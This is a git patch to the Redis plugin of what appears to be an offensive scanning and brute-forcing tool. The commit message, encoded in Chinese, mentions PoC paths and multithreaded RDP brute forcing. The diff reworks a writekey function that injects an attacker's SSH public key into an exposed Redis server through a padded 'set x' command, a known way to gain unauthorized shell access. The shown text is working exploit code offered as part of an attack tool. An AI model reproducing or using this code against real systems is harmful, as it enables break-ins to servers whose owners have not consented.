From c4950e2a93acea8270f412791f3dcc2a19a754f7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Wed, 20 Apr 2022 17:54:45 +0800 Subject: [PATCH] =?UTF-8?q?poc=E6=A8=A1=E5=9D=97=E5=8A=A0=E5=85=A5?= =?UTF-8?q?=E6=8C=87=E5=AE=9A=E7=9B=AE=E5=BD=95=E6=88=96=E6=96=87=E4=BB=B6?= =?UTF-8?q?=20-pocpath=20poc=E8=B7=AF=E5=BE=84,=E7=AB=AF=E5=8F=A3=E5=8F=AF?= =?UTF-8?q?=E4=BB=A5=E6=8C=87=E5=AE=9A=E6=96=87=E4=BB=B6-portf=20port.txt,?= =?UTF-8?q?rdp=E6=A8=A1=E5=9D=97=E5=8A=A0=E5=85=A5=E5=A4=9A=E7=BA=BF?= =?UTF-8?q?=E7=A8=8B=E7=88=86=E7=A0=B4demo,=20-br=20xx=E6=8C=87=E5=AE=9A?= =?UTF-8?q?=E7=BA=BF=E7=A8=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/redis.go | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/Plugins/redis.go b/Plugins/redis.go index b4566b8..4bdbc67 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -191,19 +191,14 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error return flag, text, err } if strings.Contains(text, "OK") { - var key string - if filename == "shadow" { - key = SshPub - } else { - key, err = Readfile(filename) - if err != nil { - text = fmt.Sprintf("Open %s error, %v", filename, err) - return flag, text, err - } - if len(key) == 0 { - text = fmt.Sprintf("the keyfile %s is empty", filename) - return flag, text, err - } + key, err := Readfile(filename) + if err != nil { + text = fmt.Sprintf("Open %s error, %v", filename, err) + return flag, text, err + } + if len(key) == 0 { + text = fmt.Sprintf("the keyfile %s is empty", filename) + return flag, text, err } _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) if err != nil {